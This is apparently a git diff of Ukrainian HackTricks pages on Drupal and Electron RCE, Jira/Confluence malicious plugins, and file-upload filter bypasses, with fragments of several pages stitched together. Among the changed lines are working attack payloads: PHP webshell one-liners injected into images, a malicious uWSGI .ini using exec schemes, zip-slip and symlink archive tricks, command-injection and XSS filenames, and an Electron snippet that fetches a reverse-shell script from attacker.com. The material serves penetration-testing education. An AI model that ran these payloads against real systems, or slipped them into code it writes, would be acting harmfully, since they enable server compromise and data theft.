Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Файл: Виправлений LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
Спочатку ми використовуємо функцію _Add Document_ (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Частина 3.2 (завантажити файл LICENSE.txt)**
|
||||
|
||||
|
@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.
|
||||
І, як ви можете бачити в журналах, виглядає так, ніби запитувався лише txt файл.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -23,11 +23,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
Приклад з [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (у вас є повний приклад того, як MS Teams зловживав XSS для RCE в цих слайдах, це просто дуже базовий приклад):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Example 1
|
||||
|
||||
Перевірте, як `main.js` слухає `getUpdate` і **завантажить та виконає будь-який URL**, що передається.\
|
||||
Перевірте, як `main.js` слухає `getUpdate` і **завантажить та виконає будь-яке URL**, яке буде передано.\
|
||||
Також перевірте, як `preload.js` **відкриває будь-яку IPC** подію з main.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
|
@ -84,7 +84,7 @@ ipcRenderer.send(event, data);
|
|||
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||
</script>
|
||||
```
|
||||
## Example 2
|
||||
## Приклад 2
|
||||
|
||||
Якщо скрипт попереднього завантаження безпосередньо надає рендереру можливість викликати `shell.openExternal`, це може призвести до отримання RCE
|
||||
```javascript
|
||||
|
@ -115,7 +115,7 @@ ipcRenderer.send(event, data);
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Check Privileges
|
||||
|
||||
В Jira, **привілеї можна перевірити** будь-яким користувачем, аутентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неаутентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для аутентифікованих користувачів** також підкреслюють **вразливість**.
|
||||
В Jira, **привілеї можна перевірити** будь-яким користувачем, автентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неавтентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для автентифікованих користувачів** також підкреслюють **вразливість**.
|
||||
|
||||
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -69,12 +69,12 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
|
||||
Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
Приклад: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
## Автоматизоване перерахування
|
||||
## Автоматизована енумерація
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
@ -122,22 +122,22 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
|
||||
Ось деякі з дій, які може виконати зловмисний плагін:
|
||||
|
||||
* **Сховати плагіни від адміністраторів**: Можливо приховати зловмисний плагін, інжектуючи деякий фронтенд JavaScript.
|
||||
* **Сховати плагіни від адміністраторів**: Можливо сховати зловмисний плагін, інжектуючи деякий фронтенд javascript.
|
||||
* **Екстракція вкладень і сторінок**: Дозволяє отримати доступ і екстрактувати всі дані.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий JavaScript, який буде зв'язуватися з нею і витікати кукі.
|
||||
* **Виконання команд**: Звичайно, можливо створити плагін, який буде виконувати код.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий javascript, який буде зв'язуватися з нею і витікати кукі.
|
||||
* **Виконання команд**: Звісно, можливо створити плагін, який буде виконувати код.
|
||||
* **Зворотний шелл**: Або отримати зворотний шелл.
|
||||
* **DOM-проксіювання**: Якщо Confluence знаходиться в приватній мережі, буде можливим встановити з'єднання через браузер деякого користувача з доступом до нього і, наприклад, зв'язатися з сервером, виконуючи команди через нього.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте хакінг AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -36,7 +36,7 @@
|
|||
|
||||
### Обхід перевірок розширень файлів
|
||||
|
||||
1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
|
@ -62,16 +62,16 @@
|
|||
5. Додайте **ще один шар розширень** до попередньої перевірки:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням\*\* _**.php**_**, але** не обов'язково закінчується на .php\*\* виконає код):
|
||||
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, буде виконувати код):
|
||||
* _ex: file.php.png_
|
||||
7. Використання **альтернативного потоку даних NTFS (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
|
||||
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Максимум 255 байт для Linux
|
||||
# Максимум 255 байтів для Linux
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # мінус 4 тут і додавання .png
|
||||
# Завантажте файл і перевірте відповідь, скільки символів він дозволяє. Скажімо 236
|
||||
# Завантажте файл і перевірте відповідь, скільки символів він дозволяє. Скажімо, 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Створіть корисне навантаження
|
||||
|
@ -80,17 +80,17 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Обхід перевірок Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
* Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
|
||||
* Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Словник **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Обійдіть перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутайте команду _file_). Або введіть оболонку всередину **метаданих**:\
|
||||
* Обійдіть перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутайте команду _file_). Або введіть оболонку в **метадані**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Якщо **сжаття додається до вашого зображення**, наприклад, використовуючи деякі стандартні бібліотеки PHP, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Якщо **компресія додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Інші трюки для перевірки
|
||||
|
@ -98,20 +98,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
|
||||
* Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
|
||||
* **Можливе розкриття інформації**:
|
||||
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим ім'ям**
|
||||
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
|
||||
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
|
||||
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache на **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
|
||||
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** в **NTFS**. (Windows)
|
||||
3. Завантажте файл з **“.”, “..” або “…” як його ім'я**. Наприклад, в Apache у **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
|
||||
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
|
||||
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
|
||||
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
|
||||
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва.
|
||||
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
|
||||
|
||||
### Спеціальні трюки з розширеннями
|
||||
|
||||
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
|
||||
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
|
||||
|
||||
Розширення `.inc` іноді використовується для php файлів, які використовуються лише для **імпорту файлів**, тому в якийсь момент хтось міг дозволити **виконання цього розширення**.
|
||||
|
||||
|
@ -125,7 +125,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
|
||||
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
|
||||
```ini
|
||||
|
@ -151,7 +151,7 @@ characters = @(call://uwsgi_func)
|
|||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -187,9 +187,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете досягти **SQL-ін'єкції**
|
||||
* Встановіть **filename** на `<svg onload=alert(document.domain)>`, щоб досягти XSS
|
||||
* Встановіть **filename** на `; sleep 10;`, щоб протестувати деякі ін'єкції команд (більше [триків ін'єкцій команд тут](../command-injection.md))
|
||||
* [**XSS** в завантаженні файлів зображень (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* [**XSS** у завантаженні файлів зображень (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** файл **завантаження** + **XSS** = [**експлуатація сервісних працівників**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE в завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**XXE у завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Відкрите перенаправлення** через завантаження svg файлу](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
|
@ -225,7 +225,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
### Автоматично розпаковане завантаження Zip/Tar
|
||||
|
||||
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
|
||||
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
|
||||
|
||||
#### Символьне посилання
|
||||
|
||||
|
@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt
|
|||
|
||||
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
|
||||
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
|
@ -304,9 +304,9 @@ pop graphic-context
|
|||
```
|
||||
## Вбудовування PHP Shell у PNG
|
||||
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
|
||||
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
|
||||
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
|
||||
|
||||
Більше інформації за адресою: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -314,7 +314,7 @@ pop graphic-context
|
|||
|
||||
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
|
||||
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
|
||||
